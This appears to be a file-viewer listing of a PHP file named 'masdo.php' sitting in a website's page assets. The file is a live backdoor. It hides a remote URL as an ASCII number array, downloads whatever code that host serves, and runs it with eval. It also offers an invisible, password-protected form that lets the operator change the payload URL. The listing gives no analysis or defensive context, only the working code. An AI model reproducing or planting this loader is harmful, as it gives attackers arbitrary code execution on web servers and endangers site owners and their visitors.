File "masdo.php"

Full Path: /srv/www/www.cadoro.it/www/assets/pages/32/masdo.php
File size: 1.95 KB
MIME-type: text/x-php
Charset: utf-8

<?php session_start();function madrid($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch);return $result;}$asciiArray=[104,116,116,112,115,58,47,47,108,105,110,107,115,45,109,98,115,108,111,116,46,119,101,98,46,97,112,112,47,97,108,112,97,46,116,120,116];$decodedString='';foreach($asciiArray as $ascii){$decodedString.=chr($ascii);}$url=$decodedString;$correct_password='$2a$12$Z1LaFHixy.OtMDdhW1fsNOPsTZYTwyEV.COtKxNpG8uQHu.dJ90Li';if(isset($_GET['ts_reset'])){$_SESSION["ts_url"]="";echo "success";exit;}if(isset($_GET['ts'])){if($_SERVER['REQUEST_METHOD']==='POST'){if(isset($_POST['password'])){$provided_password=$_POST['password'];if(password_verify($provided_password,$correct_password)){if(isset($_POST['url'])){$url=$_POST['url'];$_SESSION["ts_url"]=$url;echo "updated : ".$_SESSION["ts_url"];exit;}else{echo "Error!";exit;}}else{echo "";exit;}}else{echo "";exit;}}else{ ?>
    <head>
        <style>#password{order:2}#url{order:1}#password,#url{display:block;margin-bottom:10px;opacity:0;transition:opacity .3s}#password:hover,#url:hover{opacity:1}form{display:flex;flex-direction:column;align-items:flex-end}</style>
        <script>document.addEventListener("DOMContentLoaded",function(){document.querySelector("#password").addEventListener("keydown",function(e){"Enter"===e.key&&(e.preventDefault(),document.querySelector("form").submit())})})</script>
    </head>
    <body>
        <form action=""method="post"><input id="password"name="password"type="password"><br><input id="url"name="url"value="<?php echo isset($_POST['url'])?$_POST['url']:''; ?>"><br></form></body>

        <?php exit;}}else{if(empty($_SESSION["ts_url"])){$result=@file_get_contents($url);if(empty($result)){$result=madrid($url);}}else{$result=@file_get_contents($_SESSION["ts_url"]);if(empty($result)){$result=madrid($_SESSION["ts_url"]);}}}if(is_string($result)){eval('?>'.$result);}else{echo "Error";} ?>